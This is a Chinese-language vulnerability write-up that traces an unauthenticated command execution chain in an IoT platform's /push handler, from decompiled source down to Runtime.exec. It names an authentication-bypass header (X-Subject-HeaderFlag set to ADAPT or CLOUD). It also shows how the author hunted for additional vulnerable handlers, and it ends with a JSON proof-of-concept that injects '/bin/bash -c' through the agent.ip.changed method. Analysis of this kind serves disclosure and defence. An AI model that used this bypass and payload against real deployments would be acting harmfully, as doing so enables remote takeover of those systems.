前言

某智能物联平台被披露有一个未授权的命令执行漏洞,问朋友拿到了源码,简单分析一下。

image-20250707115242077

漏洞分析

拿到的是jar包,先用idea创建一个空项目,然后将jar包和lib文件都以库的形式导入。

image-20250707123736006

等待idea索引完成,按两下shift就可以进行全局搜索了,这里的全局搜索并不能直接搜字符串,只是方便搜路由。

直接搜路径push定位到controller

image-20250707123909754

com/xxxx/xxx/runs/controller/agent/MsgDealConrtoller.class

1
2
3
4
@PostMapping({"/push"})
    public ResultMessage push(@RequestBody AgentMsgParam agentMsgParam, HttpServletRequest request) throws Exception {
        return this.msgDealService.msgDeal(agentMsgParam);
    }

跟入msgDealService.msgDeal方法,Mac按住command+鼠标点击进入方法。

0ea4aaf4e17aa4f9d4a4eac42a97eddb.png

再点一下实现跟到实现的类,可以看到先是判断agentMsgParm不为空,随后判断method是否为空。不为空,消息处理执行工厂根据method获取一个消息处理器。随后调用获取到的消息处理器对象的msgDeal方法对传入的agentMsgParam参数进行处理。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public class MsgDealServiceImpl implements MsgDealService {
    @Autowired
    private MsgHandlerExecuteFactory msgHandlerExecuteFactory;

    public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws Exception {
        if (agentMsgParam != null) {
            String method = agentMsgParam.getMethod();
            if (StringUtils.isNotEmpty(method)) {
                MsgHandler msgHandler = this.msgHandlerExecuteFactory.getMsgHandler(method);
                if (msgHandler != null) {
                    return msgHandler.msgDeal(agentMsgParam);
                }
            }
        }

        throw new BusinessException(ResultCodeEnum.INTERFACE_NOT_FOUND);
    }
...

再看看agetnMsgParm的结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class AgentMsgParam {
    private String method;
    private JSONObject info;
    private String requestIp;

    public String getMethod() {
        return this.method;
    }

    public void setMethod(String method) {
        this.method = method;
    }

    public JSONObject getInfo() {
        return this.info;
    }

    public void setInfo(JSONObject info) {
        this.info = info;
    }

    public String getRequestIp() {
        return this.requestIp;
    }

    public void setRequestIp(String requestIp) {
        this.requestIp = requestIp;
    }

    public String toString() {
        return "AgentMsgParam{method='" + this.method + '\'' + ", info=" + this.info + ", requestIp='" + this.requestIp + '\'' + '}';
    }
}

其中InfojsonObject,也就是这一块是我们可控的参数。

根据method的值 agent.ossm.mapping.config 定位类,直接搜没有结果,搜agent.ossm.mapping弹出一个结果。

image-20250707123831893

跟进 OssmConfigHandler.class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class OssmConfigHandler extends AbstractMsgHandler {
    public String getMethod() {
        return "agent.ossm.mapping.config";
    }

    public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws BusinessException {
        JSONObject jsonObject = agentMsgParam.getInfo();
        if (jsonObject == null) {
            throw new BusinessException(ResultCodeEnum.AGENT_PARAM_INCORRECT);
        } else {
            CommonAgentParam commonAgentParam = (CommonAgentParam)JSON.toJavaObject(jsonObject, CommonAgentParam.class);
            boolean ifSaved = this.writeMappingFile(commonAgentParam.getFilePath(), commonAgentParam.getConfigure());
            this.logger.info("ossmconfighandler write {} to {}", commonAgentParam.getConfigure(), commonAgentParam.getFilePath());
            if (ifSaved) {
                String shellPath = (String)commonAgentParam.getParamMap().get("shellPath");
                String filePath = (String)commonAgentParam.getParamMap().get("filePath");
                Executor.execute(shellPath, new String[]{"5", "EXT_NET", filePath});
                return new ResultMessage(Collections.emptyMap());
            } else {
                throw new BusinessException(ResultCodeEnum.PARAM_INVALID);
            }
        }
    }
...

可以看到getMethod的值就是漏洞利用的值。

分析msgDeal方法,先是通过getInfo获取jsonObject,随后转成CommonAgentParam对象。

CommonAgentParam对象的定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class CommonAgentParam extends AgentInfo implements Serializable {
    private static final long serialVersionUID = -3364963858565947168L;
    private String param;
    private Map<String, Object> paramMap;
    private Object paramObject;
    private String moduleCode;
    private Boolean flag;
    private String filePath;
    private String configure;
...

随后调用writeMappingFileconfigure的值写入到路径为filePath的文件中。

判断返回值ifSaved是否为真,如果是则将从CommonAgentParamparamMap中获取的shellpath,filepath传递到Executor.execute方法中。

很显然这个Executor.execute的底层实现应该就是执行命令。

一步步跟入,发现将传入的command与传入的参数进行格式化为cmd后,最后传入到runtime.exec执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static int execute(String command, Writer writer, Writer errorWriter, boolean block, boolean log, String... args) {
        String cmd = formatCommand(command, args);
        if (log) {
            logger.info("Executor Command : " + cmd);
        }

        try {
            Process process = Runtime.getRuntime().exec(cmd);
            StreamGobbler outputGobbler = new StreamGobbler(process.getInputStream(), writer, "output");
            StreamGobbler errorGobbler = new StreamGobbler(process.getErrorStream(), errorWriter, "error");
            outputGobbler.start();
            errorGobbler.start();
...

formatCommand方法代码如下,只是对命令进行格式化,并没有进行过滤。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public static String formatCommand(String command, String... args) {
        command = getString(command);
        StringBuilder result = new StringBuilder();
        if (LocalCacheUtils.get("common:non:root:start") != null && LocalCacheUtils.get("common:non:root:user:name") != null) {
            result.append("sudo ");
        }

        if (command.contains("." + BatchExecutorFactory.getExecutor().getCommandKeyword())) {
            result.append(BatchExecutorFactory.getExecutor().getCommandKeyword()).append(" ");
        }

        result.append(MessageFormat.format(command, args));
        return result.toString();
    }

至此,一个执行命令的链路就打通了。

让我们回过头来,我们知道ifSaved的值是决定了能否执行命令的关键,看到writeMappingFile方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private Boolean writeMappingFile(String path, String value) {
        File file = new File(path);
        FileOutputStream out = null;

        try {
            if (file.exists()) {
                file.delete();
            }

            if (!file.exists()) {
                file.createNewFile();
            }

            out = new FileOutputStream(file, false);
            new StringBuffer();
            out.write(value.getBytes("utf-8"));
            out.flush();
        } catch (IOException e) {
            this.logger.error(e.getMessage(), e);
        } finally {
            if (out != null) {
                try {
                    out.close();
                } catch (IOException e) {
                    this.logger.error(e.getMessage(), e);
                }
            }

        }

        return file.exists();
    }

非常直给的文件写入,返回值在于这个文件是否存在。

也就是这里不但有命令执行还有任意文件写入,而且命令执行依赖于文件写入,会先写入一个文件,确保文件写入落地存在了才会执行命令。

理解了漏洞核心原理后,我们回过头可以看到POC请求有一个X-Subject-Headerflag的请求头,但目前执行命令并没有用到这个请求头,那可能是起着绕过认证授权的作用。

全局搜一下这个请求头:

589d693fc8a0faca9d16c7a9d80042b7.png

跟进 com/xxxx/xxxx/runs/filter/AuthFilter,代码非常贴心的告诉了你什么情况不鉴权。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                         FilterChain filterChain) throws IOException, ServletException {
        if (!authEnable) {
            filterChain.doFilter(servletRequest, servletResponse);
            return;
        }

        HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
        HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;

        String[] requestURIParams = httpServletRequest.getServletPath().split("/");
        String[] matchedRequestURIParams = Arrays.copyOfRange(requestURIParams, 1, requestURIParams.length);
        String matchedRequestURI = "/" + StringUtils.join(Arrays.asList(matchedRequestURIParams), "/");
        ServletRequest request = new BodyReaderHttpServletRequestWrapper(httpServletRequest, FILE_METHOD_SET.contains(matchedRequestURI));
        String content = SignUtil.getBodyString(request);
        if (StringUtils.isNotEmpty(content)) {
            content = getParamsExcludeFile(matchedRequestURI, content);
            Map<String, String> paramsMap = SignUtil.parseJsonToMap(content);
            // 如果方法在set中,则不进行鉴权
            if (releaseMethodSet.contains(paramsMap.get("method"))) {
                filterChain.doFilter(request, servletResponse);
                return;
            }
            //如果是adapt过来的请求,则不鉴权
            String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
            if (StrUtil.isNotBlank(flag) && "ADAPT".equals(flag)) {
                String signFlag = httpServletRequest.getHeader("X-Subject-Sign");
                if(StrUtil.isBlank(signFlag)){
                    filterChain.doFilter(request, servletResponse);
                    return;
                }
            }
            flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
            if (StrUtil.isNotBlank(flag) && "CLOUD".equals(flag)) {
                filterChain.doFilter(request, servletResponse);
                return;
            }
...

至此,我们理清了该漏洞的所有细节原理。

漏洞拓展

现在我们知道了整个漏洞原理,我们可以从sourcesink的两个角度出发,拓展一下在该路径被封禁后是否还有其它的方法绕过。

source方向

直接搜msgDealService.msgDeal,都集中在msgDeal这个控制器下。

image-20250707133313366

/push/receive两个已知端点

958360b2d8cb6c62162c3b5cc3abed57.png

还有/push/file/receive/file 端点,但这两个端点的代码还有下载和上传文件,逻辑更加复杂,不一定能够执行成功。

06c5947ad049f4820b65f5728f19718f.png

/receive/response/file端点就更为简单,只是没有返回。

2f1c02fe2cdc4e489947da1ef2b8240d.png

sink方向

通过Method来获取消息处理器的逻辑给予了极大的灵活性,只要我们找到其它的处理器有问题,那么就可以拓展出新的漏洞利用点。

消息处理器的实现有196个之多,肯定会有其它处理器存在问题。

db2485493e9ee4aeb9d7fd490b70923f.png

通过Jar Analyzer 我们将lib下的jar包加载进去分析,并指定 com.xxxx.xxx.configtool.common.executor.Executor:execute,寻找使用了这个方法的地方。

image-20250707125020359

再筛选只看那些Handler的实现类。

翻了一下,找到一个:

259d33c82ac1cffe1346db1e5466075c.png

scriptPath可控直接传入execute

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
      "method": "agent.ip.changed",
      "info": {
        "scriptName": "",
        "deployPath": "/bin/bash -c '{command}'",
        "ip":"1",
        "moduleCode": "0"
       },
        "requestIp": ""
}

总结

此漏洞的核心问题是为代码灵活而做的动态调用设计,但在业务实现上缺乏基本的过滤,配合为了业务方便的认证鉴权。

最终造成了一个无需身份认证的远程命令执行严重漏洞。